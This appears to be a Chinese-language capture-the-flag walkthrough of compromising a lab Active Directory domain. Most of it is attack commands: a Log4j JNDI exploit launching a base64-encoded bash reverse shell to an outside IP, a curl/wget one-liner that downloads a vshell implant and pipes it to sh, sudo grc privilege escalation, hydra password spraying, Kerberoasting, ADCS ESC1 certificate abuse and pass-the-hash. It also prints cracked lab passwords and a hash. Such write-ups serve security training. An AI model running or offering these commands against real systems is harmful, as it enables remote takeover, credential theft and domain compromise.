# fscan

直接 fscan 开扫,发现 solar 服务

solar 里面用了 log4j 依赖

# log4j2 jndi

用 JNDIExploit 直接开梭

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNTAuMTk2LjQ0LzY2NjYgMD4mMQoK}|{base64,-d}|{bash,-i}" -A "117.50.196.44"
//6666端口

Yakit 抓包发送

反弹成功

# vshell

老规矩,直接命令上线 vshell

(curl -fsSL -m180 117.50.196.44:8084/slt||wget -T180 -q 117.50.196.44:8084/slt)|sh

然后搭建一个代理就行,链接 kali proxychains

# grc 提权

上去之后没找到 flag,而且权限很低,创建文件啥的都不行,说明要提权。suid 没找到,不过 sudo -l 找到了 grc 命令

sudo -l

grc 简介
https://gtfobins.github.io/gtfobins/grc/

sudo grc 然后后面跟想要执行的命令即可

sudo grc cat /root/flag01.txt

# flag01

# fscan2

再次传 fscan 扫描

./fscan -h 172.22.9.19/24

总体情况

172.22.9.7 XIAORANG-DC
172.22.9.19 已拿下
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver 

因为这个题题目考点那儿写了个 SMB,估计是有 SMB 服务,那肯定是 fileserver 这台 ubuntu 上存在 (fscan 扫不出来但是 nmap 是扫的出来的),用 smbclient 连了一下果然连上去了

# SMB

得用 smbclient,kali 自带的
用 wp 的 smbcilent.py 不行
妈的。卡了好久

# flag02 (SMB get 命令 下载 flag)

用 cat tac nl 等命令都没有,读取不了
所以直接 get 命令下载到启动 smb 共享是的目录,也就是
/home/baonoob/tools/Impacket/impacket 目录

# 密码喷洒

回到根目录利用 SMB 的连接获取个人信息
根目录刚好有一个数据库文件,直接下载

get personner.db

用本地 Navicat 打开,发现一堆用户和密码

生成对应账号和密码字典
user.txt
passwd.txt

直接密码喷洒

proxychains4 hydra -L user.txt -P passwd.txt 172.22.9.26 rdp >>result.txt

发现有两个可以登陆

zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY

# SPN

知识:
SPN (ServicePrincipal Names) 服务主体名称,是服务实例 (比如:HTTP、SMB、MySQL 等服务) 的唯一标识符。
在使用 Kerberos 协议进行身份验证的网络中,必须在内置账号 (NetworkService、LocalSystem) 或者用户账号下为服务器注册 SPN。

域环境中的每台服务器都需要在 Kerberos 身份验证服务中注册 SPN
所以 DC 知道每台机器 SPN
攻击者会直接向域控制器发送查询请求,获取其需要的服务的 SPN,从而知晓其需要使用的服务资源在哪台机器上。

域内的任何一台主机用户或普通域用户,都可以通过查询 SPN,向域内的所有服务请求 TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的 SPN。

但俩都 rdp 不上去,回想提示说了个 spn,试试查找下域用户下的 spn

proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

得到了 chenchen 和 zhangxia 的密码哈希,hashcat 爆一下

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

得到两个账户可以登陆

zhangxia:MyPass2@@6
chenchen:@Passw0rd@

# ESC1

这俩账户终于能 rdp 上去了,但是 flag 在管理员目录下,还是拿不到。回看题目考点里说了个 AD CS,估计是要拿那台 CA 通过什么证书利用拿域控,先枚举一下有哪些证书

proxychains certipy-ad find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

直接就扫出来有 ESC1 了,一眼丁真了属于是,照着别人的文章直接开打:ADCS 攻击之证书模板配置错误 ESC1。和他那个演示不一样的就是我们这里用的 Certificate Templates 是 XR Manager 以及 ca 是 xiaorang-XIAORANG-DC-CA,其他都差不多,直接开打。

ESC 证书攻击
https://blog.csdn.net/Adminxe/article/details/129353293

首先利用 XR Manager 模板为域管请求证书

proxychains certipy-ad req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

请求的证书会保存到当前目录
接着转换格式,请求 TGT,DCSync 或者 PTT
利用 administrator.pfx 获取域管 hash
注意:我 kali 没更新软件包,所以报错

Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type

proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

pth 拿 DC
只需要 : 后那一部分

proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 -codec gbk

# flag03

登陆 172.22.9.26 拿 flag03

type c:\users\administrator\flag\flag03.txt


### flag04
登陆 172.22.9.7 拿 flag04

type c:\users\administrator\flag\flag04.txt

# BloodHound

打开 neo4j 数据库
启动数据库

打开 BloodHound

cmd 执行

BloodHound.exe --no-sanbox

会打开一个 web 页面,登陆

账号:neo4j
密码:

上传 SharpHound 采集数据

会在当前目录生成 zip 文件

直接到 BloodHound 上传 zip 就行

选择 DC 关系图